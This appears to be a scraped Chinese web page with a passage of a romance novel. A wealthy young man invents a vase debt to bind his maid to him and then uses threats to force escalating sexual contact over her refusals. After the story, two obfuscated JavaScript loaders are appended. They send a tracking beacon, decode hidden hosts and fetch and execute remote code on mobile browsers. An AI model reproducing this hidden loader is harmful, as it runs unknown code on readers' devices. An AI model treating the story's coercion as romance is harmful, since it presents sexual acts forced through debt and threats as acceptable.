“真的?好厉害。”她顿了顿,“什么学校?”“大学。”

“大学?”圆圆的水眸忽地瞪大,眼珠子几乎快掉出来,“你还在读大学?”

“不然你以为是什么?”比她小脸蛋还大的拳头已经举起来了。

他的模样一点都不像大学生啊,她以为至少是读硕士班了。

他要长那么“臭老”,怎么能怪她呢?

“几年级啊?”这次她很注意的不问白目问题。“二年级。”

“二年级?”

反应永远比脑袋快一步的她,这次换小嘴几张大得可以塞下一颗苹果。

那不就只大她一岁?她以为他至少大她三岁以上哩。“怎么?有疑问吗?”恐怖的拳头再次举起。“没……”这次白荷脑筋转得很快,“我以为……我以为你还在读高中

狄狂慧嘴角扬起,难得露出温煦的微笑。

以为自己这次终于有顺到少爷心意而安下心的白荷偷喘了口气。

一口气刚吐出,还没来得及汲取新鲜空气,冷不防额头就中了一记弹指,痛 得她眼泪狂奔。

“好痛……”她抱着额头哭喊。

“这是惩罚你的虚伪!”

把他当白痴,听不出来她的违心之言吗?欠扁!“呜……”她不管怎么做都不对,那闭上嘴巴总行了吧?

白荷紧紧抿着嘴,不敢再多说半句废话,一直到了她家,仍没有开过口。

“这就是你家?”狄狂慧透过挡风玻璃看着外墙斑驳、破旧的老公寓。“鬼 屋?”

什么鬼屋?白荷深吸一口气,反驳的话正要出口,又连忙收回去。

她不要再被他打,所以她绝不开口说半个字!“不会没有电梯吧?”

还真被他猜对了!

由荷闭着嘴不讲话,但两颊已经抗议似的慢慢鼓起。“这种公寓楼梯,是不是有人跳楼自杀?”才没有!两颊鼓到最高点。

“跳楼自杀的人会不断的重复自杀的过程,你有没有看过?”

没有!她用力摇头。她家很干净,没有人跳楼自杀。“会在三更半夜不断重复爬上窗子、跳下去的动作,还一直问说有没有看到 他的作业簿。”

没有没有!她更用力摇头!

“姐姐……”狄狂慧突然发出很可怕的、危颤的低低声音,缓缓的在白荷耳 旁喃念,“你有没有看到我的作业簿……有没有看到……”他拿起置杯架上冰凉 的饮料,冷不防触及白荷的粉颈。

“啊!”白荷尖叫。“没有看到没有看到!”她再次被他吓得惊惧泪水泛滥。

“哈哈哈哈哈哈……”狄狂慧捧腹大笑,“看你吓成这样,哈哈……好好笑!” 他笑得肚子都疼了。

这个人怎么这样?白荷生气的嘟嘴。

“生气了?哈哈……”

就算自荷生气,狄狂慧也不会放在心上,照样指着她鼻尖纵声大笑。

白荷气唿唿的打开车门,踩着重重的悻悻然脚步走向公寓。

“你要进去了喔?”狄狂慧像幽灵般跟在她身后。“我要拿行李。”

“要爬楼梯喔——”他故意拉长尾音。

“这里没有人跳楼自杀啦!”

讨厌!说得煞有介事,害她全身寒毛都跟着竖起来了。

“真的没有吗?”狄狂慧装模作样的在墙壁上摸了摸,“这房子好几十年了 喔,说不定在你出生前就有人跳楼过了。”

受到影响,心头惶恐不安的白荷恼怒的瞪他。“看你怕成这样,脸色好苍白。”他又忍不住笑。气死人了!她本来胆子就小,他还一直讲鬼鬼鬼的,这样她怎么敢进去?

白荷小手放在绿色铁制大门上,因狄狂慧的“恐吓”。犹豫着不敢进人她生 活了快二十年的家。

突然有人从她背后猛推了一把,她踉跄的跳人公寓门内。

悬吊在天花板上的日光灯因门开而引人了风儿,晃了几下,在墙壁上照成隐 约的光影,让心中有鬼的白荷吓得屏住唿吸。

“怕什么?”狄狂慧嫌她挡路似的一直推她前进,“有我在,你怕什么?就 算来十个鬼也不怕!”

“可是我走在前面……”白荷嗓音发颤。

就算鬼要找替身,也是先找她啊!

“胆小鬼!”狄狂慧面露不耐的拉住她的手,将她拽住身后,“这样总可以 了吧?”

有他高大的身形挡在前面,当然没问题。

“可以。”她点点头。

虽然他很受欺负她、吓唬她,但或许是因为他身型高大的关系,没来由的就 是让她有种安全感,觉得在他身边。再恐怖的东西部不用怕,因为他会帮她出头。 帮她顶着……

或许该说,现在最可怕的就是他了,跟他比起来,其他什么青面獠牙的恐怖 鬼魂,都相形失色。

白荷家位于三楼,门口是旧式的两道门设计,涂着白漆的镂花铁门斑斑驳驳 的,还有铁锈,一看就知道几百年没有粉刷过了。

“你家穷得连油漆都买不起啊?”

狄狂慧一摸上面的铁锈,黑黑的粉末沾在他手,他立刻嫌恶的往白荷身上抹。

“喂!你怎么把脏污抹到我衣服上来?”这是她为了今天第一天上工特地买 的新衣服耶!洗不掉怎么办?

“你的衣服跟抹布差不多,本来就是拿来擦脏东西的。”

这个臭男生真的很讨厌耶!

白荷生气的用力拍衣服上的铁锈。

“好啦!生什么气啊?大不了买一件还你!”切!真是小家子气,连一件衣服都要这样斤斤计较!“你根本不懂。”觉得受到委屈的白荷眼泪又浮上来,“像你这种有钱人家 的大少爷。怎么懂得我的感受!”

她抱怨什么啊?都说要买一件还她了,还在那喋喋不休,感觉就烦。

狄狂慧撇撇嘴,“好啦!我跟你说对不起,这样可以了吧?”

“一点诚意都没有。”白荷嘴上咕哝着。

那是道歉的态度吗?两手擦着腰,一只脚还抖啊抖的,根本不像道歉,反而 比较像跟她要钱的地痞流氓!

“我说啊,如果你还要一边哭一边碎碎念,我就要给你惩罚了喔!”

从没见过泪水这么多的女人!伤心也哭,吓到也哭,感动也哭,委屈也哭, 被骂也哭……厚!闹旱灾的时候就派她去水库边罚站,包准一年四季都有水喝。

“我又没做错什么,为什么要惩罚我?”

“少爷说的话就是圣旨,管什么对错!”没听过一日为奴,终生为奴吗?

“你这样很恶劣耶!”她已经很可怜了,一直处于被欺负的境地,现在竟连 不管对错,都随他高兴怎么整她……那她以后日子不就难过了吗?

“你还要抗辩?”狄狂慧弯下腰,与娇小的白荷平视,“我刚刚可是已经警 告过你了喔!”

“我没有……唔!”

熊嘴吞食粉嫩小嘴儿。

她开口抗辩刚好给做城掠地的机会,火舌灵活的钻人檀口,搅弄了香小舌。

他在做什么?白荷惊恐的发现他竟然把舌头伸进来了!

“不要……”她小手挤在他胸前,软弱无力的推拒。他强大如一面铁墙,她怎么推都推不开他。在他胸前作乱的手儿扰得他分心,狄狂慧不耐的将她两手扣住,分开环绕熊 颈两侧。

本来是她要推开他,现在在不知情者的眼中看来,反倒变成她抱着他索吻了。

他浓重的气息逐渐与她急促的喘息融合在一起,吸人鼻尖,像是混了有毒花 儿的媚药,让她莫名其妙变得晕晕然。

她柔软有弹性的小粉唇任他恣意吸吮,盛开为娇艳的蔷薇,大放红艳的姿态。

她的嘴儿好软,蜜律甜美,狄狂慧舍不得松开她,越吻越深人,大手不断游 移,隔着薄薄的衣料摩擦着她细滑的肌肤,仿佛擦出了火带,将两人熊熊卷人。

两人感觉体内似乎有火在烧,焚灼了理智与意识。他们激烈的拥抱,几乎不耐那层衣服的隔阂,直想将其卸除——

“对不起,借过一下。”

一道有些无措的声音中止两人差点就要途矩的抚摸。两人不约而同转过头,只见一位伯伯难为情的看着激烈拥吻的他们。

“张伯伯?”白荷慌忙推开狄狂慧。

“不好意思,打扰你们了。”张伯伯略带暖昧神色的呵呵笑。

“不是的……我们……”白荷双颊酡红,不晓得该怎么解释。

“不用说,老人家理解,老人家理解。”呵呵呵……张伯伯可是经历七十年人生阵仗的老经验,这种男女情爱,他懂得的。呵呵 呵……

拄着拐杖的张伯伯缓缓上楼,直到他的身影消失在楼梯,白荷才娇娇跺脚抱 怨道:“都是你!”

“我怎样?”狄狂慧吊儿郎当反问。

“不理你了!”白荷手抚着烧烫的脸蛋,快速转身拿出钥匙开门。

“姊回来了。”

一听到开门声,三个长得一模一样的小萝卜头立刻冲出来,却在看到姐姐背 后的大熊后愕然止住冲势。

“小明、小华、小杰!”白荷街上去抱住三胞胎弟弟。

“他是谁?”已经五岁了仍在含拇指的小明问。“他是姐姐的老板。”

“她来干嘛?”还拿着奶瓶喝的小华问。

“他载我回来。”

“喔。”小杰走过去朝狄狂慧弯腰,“谢谢你载我姐姐回来。”

“乖。”白荷摸摸小杰的头,“有礼貌喔!”“我等等还要载她回去。”狄狂慧笑开一口白牙,看上去阴森森的。

“为什么?”三个小孩异口同声。

“她从今天起要住我家。”

“为什么?”三个合起来的音量几乎要冲破屋顶。“我是她老板,我叫她住我家就住我家!”老板最大,小弟弟是不会了解的。

“可是姐姐应该住在家里面!”小明一开口,其他人皆附和。

三只鸭子哌哌哌,吵死人了!狄狂慧挖挖被吵得发痒的耳朵。随意往客厅里 的沙发上一坐,屁股才放上,沙发就轰然崩解。

“坏了!坐坏了!”三只鸭子围着狄狂慧乱叫。“这是什么东西?”摔疼屁股的狄狂慧恼怒质问白荷。

“沙发。”强忍住笑的白荷,木着一张脸回答。“它本来就是坏掉的吧?”他再壮硕,也不过九十公斤,怎么可能坐坏—张 沙发!

三只鸭子很有默契的齐蹲下,像堆积木一样将散落的木块叠起,沙发布拉一 拉、塞一塞,又是一张“完好”的沙发。

“这是整人沙发?”狄狂慧恍然大悟。

好家伙!平常都是他整人,这次竟然被反整?“没有!”白荷连忙否认,免得又要被他“惩罚”。“它是装饰品。这沙发 坏很久了,我妈舍不得丢,所以一直放着。”

白妈妈一直认为这沙发还有救,只要拿钉子钉牢,就还可以坐。

只不过她反复钉这沙发多次,支撑的木块已经找不到可以钉钉子的平整表面, 但仍是舍不得丢掉这屋子里唯一的大型家具,后来就成了小孩子的“职木游戏”。

“最好真的是这样。”狄狂慧再看了眼整到他的可恶沙发。“快去整理行李。”

“好。”白荷连忙跑回她与弟弟们共睡的房间。沙发不能坐,狄狂慧只好从茶几旁拖过一张板凳来坐。

那板凳超小,是小朋友的size,只有他屁股的三分之二大,坐得他怪不 舒服的。

三个小孩又拥上来询问他为什么要把姐姐带走,他一概相应不理,不断朝着 屋内大吼,限白荷三分钟内将行李整理好。

白荷匆匆将衣服跟随身用品塞进旅行袋,火速回到客厅。

“我好了。”她喘着气道。

被小孩烦得快抓狂的狄狂慧立刻站起身朝门外走。“帮我跟妈妈说我以后就住在老板家喔。”白荷跟弟弟们交代,“要乖乖的, 以后姐姐假日才能回来,要自己照顾自己。”

“为什么?”鸭子的“为什么”多如雨后春笋。“因为姐姐要赚钱啊!”白荷爱怜的分别摸摸三个弟弟的头,道别离开。

离别的感伤盈满胸怀,白荷的眼泪自然又掉个不停。“你家有几个小孩?”狄狂慧问。

“还有一个妹妹,在便利商店打工。”

“爸妈呢?"

“我没有爸爸,妈妈工作到十二点才回来。”好差劲的环境。狄狂慧想。那房子搞不好也不是他们家的。

“你住在我家,包准你吃好住好。”

“我是女佣,随便吃吃就好……”

“我说会让你吃好住好,你敢反对我的意见?”走在前方的狄狂慧转身狠瞪。

白荷连忙摇头。

“真是不识大体。”狄狂慧冷哼了声。

走在后面的白荷,凝视着狄狂慧很不庄重的摇头晃脑走法,忍不住破涕为笑。

好奇怪,他明明从见面的第一秒开始,就好像跟八字不合似的不断吓她。欺 负她,但为何此刻她的心头却好像有太阳进驻,觉得暖洋洋的?

真的好奇怪喔……

第四章

从那天起,白荷就在狄家住下了。

她的房间当然不是狄狂慧的仓库,而是在后方庭院,与主屋分开的一间日式 平房。

平房里头有三个房间跟一间厨房,除了她以外,还住着园丁夫妇。

园丁夫妇姓陈,他们在这服务也不过一年的时间。陈先生负责庭院,陈太太则跟她一样负责家里的打扫、整理跟伙食。

自陈太太口中,白荷大概了解了狄家的历史,雇主的习惯。以及她的到来是 因为之前的能于管家退休养老的关系。

由于她是新来的,又比较年轻,所以晨起煮早餐的事就落到她头上。

狄家人除了太太以外,都很早就起床作运动,故她每天清晨五点就得起来, 在男主人慢跑回来前将早餐煮好。

目前正值暑假期间,狄狂意不是在技击馆教学生,就是在家闲晃。

白荷很好奇他是不是没有朋友,所以只能待在家里,不过这种问题她当然不 敢问,柏问了又要被整个半死。

这天下午,白荷拿着抹布在客厅擦拭桌椅,无所事事的狄狂慧又晃进来,东 摸摸、西瞧瞧,不晓得想于什么。

白荷边擦着不知道是哪个朝代的青瓷花瓶,边注意着狄狂慧的动作。

狄狂慧发现了她在注意他,脸上布满贼贼的笑。“少爷。”白荷终于还是忍不住发问了,“你有事吗?”

“没有啊。”狄狂慧摇头晃脑的在客厅绕了绕,走来白荷旁边看了看,突然, 他指着往起居室方向的大门,诧异的喊:“那是什么?”

白荷跟着转头,狄狂慧趁此机会将随着她转头动作而稍稍晃动的花瓶用食指 轻轻一推,在白荷手上的花瓶就此摔下地去,跌成碎片。

“啊!”狄狂慧故意夸张的大叫,“你在干嘛?你怎么把花瓶摔碎了?”

白荷慌乱的蹲下身,无措的拾起两片碎掉的花瓶瓷片,惊恐害怕的泪水在眼 眶打转。

“我不知道……”她只是转了一下头,怎么知道花瓶竟然会掉下去?!“因 为你刚刚说那边有东西,所以我才转过头去……”

“你是想说,是我害你打破花瓶的吗?”狄狂慧挑眉质疑。

“不是的,我没有这个意思。”她怎么敢这样认为。“我只是想不出来它为 什么会突然掉下去。”

“一点都不莫名其妙。你刚转头的时候,手打到花瓶,所以花瓶掉下去了。 我看得很清楚。”

“可是我没印象……”她皱着眉头,可怜兮兮的说。她的手是有碰到花瓶,但应该没有那么大力到可以让花瓶落下啊。

“我亲眼看到的。”狄狂慧指向自己的黑瞳。“我会看错吗?”

“那……怎么办?”这花瓶都已经碎成这样,没有任何挽救的可能了。

“赔啊。”

赔?白荷心一凛。

“多少钱?”她才来工作一个礼拜,连第一次的薪水都还没领到,就要赔钱, 好倒楣喔。

“我记得这是清朝的蟠龙花瓶。”为加强可信度,狄狂慧还故意说道:“我 爷爷就是喜欢这种昂贵的古物,在这个客厅里的每样东西部是有历史的。”

“喔……”一听到“清朝”两字,白荷即艰困的吞了口口水。“那要多少钱?”

古董耶!一定会贵得吓死人的。

“如果我没记错的话,好像是三——”他顿了顿,看白荷一脸紧张兮兮的模 样,就让他觉得好笑。“二百五十万吧。”

“三百……五十万?”圆圆的小鹿眼睛瞪大了,“真的是三百五十万?”

她错愕的拿起破瓷片。

这看起来跟她拿来喝开水的马克杯没两样啊,为什么她的马克杯才四十五块 钱,这花瓶就要三百五十万?

如果她的马克杯放了一、两百年,是不是也可以卖到四百五十万?

“我骗你于嘛?”狄狂慧自鼻孔哼了声。“你要赔钱。要不然就要找出一模 一样的花瓶买来还我们。”

“我……我没钱……”眼前的破瓷片瞬间一片模煳。“那怎么办?”

“我不知道。”她难过的摇摇头。

三百五十万……她工作一辈子都不晓得有没有办法赚到……

“好吧!”狄狂慧装模作样的叹口气,“只好从你薪水里扣了。”

“好……”她微弱的应声。

“你一个月薪水三万五,你要拿多少出来扣?”“我……我不知道。”

“全扣好了,这样还得比较快。”

“不行!”白荷紧张的抓住狄狂慧的裤脚,“我要拿钱回家,我三个弟弟还 小,我得帮我妈妈养他们!”

白荷哭得越厉害,狄狂慧的嘴角扬得越高。他要把这只可怜又可爱的小宠物关在他身边一辈子,“卖身”给他!

“那如果一个月还一万五,你就得……”狄狂慧格指算算,“在我家工作二 十年。”

“都没有加薪的吗?”白荷汪着楚楚泪眼问。“这我就不能打包票了。”狄狂慧凉凉道:“如果你再继续打破东西的话, 别说加薪了,要不要继续聘雇恐怕都成问题——”他故意将最后一个字的尾音拉 得好长,将白荷一颗脆弱胆小的心吓得更是惶恐不安。

“那……那先每个月拙一万五的薪水。”呜……她的薪水只剩两万,心好病 好痛喔。

“好。”狄狂慧从抽屉里拿出纸笔,“要写借据,免得你不认帐。”

“好……”

“花瓶的事,我会去跟我爸妈说,这样你就不会被骂了。”狄狂慧拿起笔在 空白纸上写下文字。

“真的吗?”白荷这次滚出的是感动的泪。“你要帮我说?”

“我也会给他们看这借据,让他们知道你有诚意赔,他们就不会为难你了。”

“好。”白荷感动的用力点头,“谢谢少爷,谢谢!”

呜……没想到少爷对她那么好!她一直以为他很坏,但其实发生事情的时候, 他坏归坏,仍是会为她挺身而出,为她解决困难。

“签名。”狄狂慧将借据推向她。

白荷浏览了一下内容,上头写着她因打破花瓶,愿意每个月扣工资一方五千 元作为赔偿,直到赔完三百五十万为止。

她战战兢兢的在欠款人下方签上自己的名字。狄狂慧将借据招一招,塞进牛仔裤里。

“那我去把碎片扫一扫。”

“等等。”狄狂慧拉住欲站起的她。

“还有什么事吗?”白荷坐回原位。

“我这样帮你,你都没有感谢我。”

“我有啊。”她刚说了谢谢不是吗?

“你以为“谢谢”两字就值得这天——大的恩惠了吗?”狄狂慧特别强调“ 天大”两字,拉得好长好长。

她还以为大恩不言谢哩。

“那我要怎么做?”不会要她拿出剩下的两万当谢礼吧?

狄狂慧一手支颐撑在桌面,一手指指自己脸颊,“好歹亲一个。”

“亲?”白荷傻眼。

以往少爷是趁她不注意偷亲了她好几次,但由她主动,却是从来不曾有过的。

她不知道亲吻这种事也可以习惯的。

从刚开始的抗拒,到接受,后来就见怪不怪了。她觉得这样应该是不对的。

亲吻应该是对喜欢的人所做的动作,可是她一点都看不出来少爷喜欢她。而 且少爷也从没说过喜欢……而她虽然常常很怕他,可他出其不意的温柔、在重要 时刻对她的好,又让她心修起伏不定,上上下下,都快弄不清楚自己的意思了。

如果少爷喜欢她的话,他应该会对她很好很好吧……“叫你亲一下,你在发什么呆?”狄狂慧猛然敲了沉思中的白荷头顶一记。

“我没有……”白荷抱着发疼的头哀鸣。

“要不要亲?不亲我就去跟爸妈说你打破花瓶——”白荷立刻在他有点粗粗的脸颊啄吻一下。

“你是小鸟喔?这样我怎么会有感觉?”

白荷无奈的只有将唇留在他脸颊上的时间延长了一些些。

“嗯……”狄狂慧想了想,“我觉得这样还不够。毕竟我帮了你这么大一个 忙。”

“那要怎么办?”她还可以怎么感谢他?

“改亲嘴好了。”狄狂慧将嘴巴朝她嘟起。“呃……”白荷红着脸踌躇。

“不亲?”狄狂慧眼神变得凶狠。

“!”白荷连忙将唇贴上他的。

“舌头伸进来。”

“啊?”

“快点!”

白荷抿了抿唇,那张可爱的小脸此刻红得如火烧。她现在的模样更像老妈那只红贵宾了……狄狂慧在心里呵呵笑着。

她虽然像红贵宾一样可爱,不过她不像那只讨厌的狗会—边往后退,一边发 出威胁的低鸣,然后在他一往前时,立刻像个车仔逃之夭夭,害他都玩不到。

这个小可爱就乖巧多了,他要她怎么做,她都会顺从,就算偶尔吃了熊心豹 子胆敢跟他抗议,不过都撑不了两秒钟就卸甲投降。

没办法,谁叫他是伟大的雇主呢!小仆人当然要乖乖听雇主的命令喽。何况 她现在又“卖身”于他了。

白荷怯怯伸出小舌,碰触他富有弹性的宽唇。她的香舌一碰触到他,狄狂慧立刻觉得下腹有股狂热迅速往上窜烧,他不假 思索,张口含住她的小舌吸吮。

她的唇好软,口中蜜津好香甜……他忘情的吻着她,一双大手依从体内汹涌 泛起的情欲,在她柔软的娇小身躯上来回抚摸。

狄狂慧越吻越深人,白荷被吻得全身酥软,任凭他占有她的舌、她的唇齿空 间,任他夺走了她的气息。

她觉得她的胸前好像有什么在骚动着,那感觉很陌生,却比狄狂慧的吻更刺 激。

那刺激的感觉麻麻痒痒的;像是火苗,在她体内点燃,以她无法驾驭的速度 迅速蔓延,狂猛的将她卷人诱人的情欲世界。

狄狂慧大手伸进她薄薄的t恤内,粗鲁的推开束缚的内衣,托住一方雪乳揉 搓把玩着。

她的胸部也软软的,虽然不大,但握在手中感觉刚刚好。

还有那柔柔绵绵的花蕾,本来是那样文静的躺在雪峰之顶,但只要他的手指 扫过,就被他扰醒了似的,徐徐在他指间绽放。

他捏揉着小花蕾,感觉到它逐渐硬挺,成了一个小圆球,在他指腹滚动。

他爱极了这颗小圆球,大方的埋头亲吻,将小圆球含人口中细细舔舐、嚼咬。

“唔……”白荷咬住唇,下意识想抗拒自胸口传来的异样酥麻。

她如果不将下唇咬紧,就会有她无法控制的声音自喉中溢出。

她有些害怕那几乎无法控制的莫名冲动,怕它一脱离喉咙的束缚,她就无法 掌控住自己了……

“少爷……”小手无力的抵着正狂吻胸脯的头颅,“不可以这样……”他不 可以这样脱了她的衣服,吻她那私密的、连卖内衣的小姐都不曾见过的胸部。

狄狂慧没有听见她那无力的推拒,就算他真的听见了,他也会左耳进右耳出, 置若罔闻。

他的小宠物太迷人,他迫不及待想让她成为他的,从头到脚,从里到外,统 统都是他的!

“少爷,拜托你……”

求情的白荷突然发现自己的脚凉飕飕的,她困难的抬起头往下方一看,这才 惊觉她的牛仔裤已被狄狂慧的大手整个扯掉了,丢置在她的手构不着的地方。

她身上只剩一条白色小裤,还有被推高至胸口的衣物——她几乎是全裸了!。


上一篇:淫妻浪女浪妻淫女

下一篇:亲戚大战


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};